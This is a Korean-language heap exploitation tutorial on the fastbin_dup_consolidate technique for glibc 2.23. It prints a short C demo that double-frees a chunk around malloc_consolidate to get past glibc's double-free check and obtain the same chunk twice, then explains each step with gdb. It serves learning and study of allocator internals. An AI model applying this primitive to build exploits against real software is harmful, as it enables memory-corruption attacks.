환경 : ubuntu 16.04 (glibc 2.23)
fastbin_dup_consolidate
fastbin의 consolidate 하는 과정을 통해 malloc.c _int_free
함수의 double free 검증을 우회한다. 따라서, 동일한 chunk를 두번 할당 받을 수 있다.
fastbin_dup_consolidate.c
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main(void)
{
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbin: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'll get it twice: %p %p\n", malloc(0x40), malloc(0x40));
return 0;
}
gdb를 이용하여 breakpoint를 설정하고, 단계 별로 메모리를 분석해보자.
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbin: p1=%p p2=%p\n", p1, p2);
0x40
의 크기만큼 힙 영역을 할당한다. header부분까지 0x50
크기의 chunk가 두 개 할당된 것을 확인 할 수 있다.
fprintf(stderr, "Now free p1!\n");
free(p1);
p1을 free한다. 해당 chunk의 크기는 0x50
이기 때문에 fastbin에 들어갈 것이다. 위 사진에서 fastbin[3] (0x50) 에 해당 chunk의 주소를 확인 할 수 있다.
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
largebin size인 0x400
크기만큼 힙 청크를 할당한다.
이때, malloc_consolidate()
함수가 호출되고, fastbin의 0x602000
는 fastbin → unsortbin → smallbin
으로 병합된다.
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
이후 p1
을 free하게 되면, fastbin에 p1
chunk가 또 들어간다. 따라서, freed chunk
의 fd 값이 0으로 변하면서 smallbin에서 invaild memory가 나타난다.
또한, double free를 검증하는 구문에서 old
와 p
의 값이 다르기 때문에 dobule free가 가능해진다.
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'll get it twice: %p %p\n", malloc(0x40), malloc(0x40));
왼쪽은 첫번째 malloc(0x40)
이후, 오른쪽은 두번째 malloc(0x40)
이후 힙의 정보이다.
처음 malloc에서는 fastbin
에서 chunk를 반환하고, 두번째 malloc에서는 smallbin
에서 chunk를 반환한다. 따라서, 주소가 동일한 두 chunk를 할당 받을 수 있다.
ref
Uploaded by N2T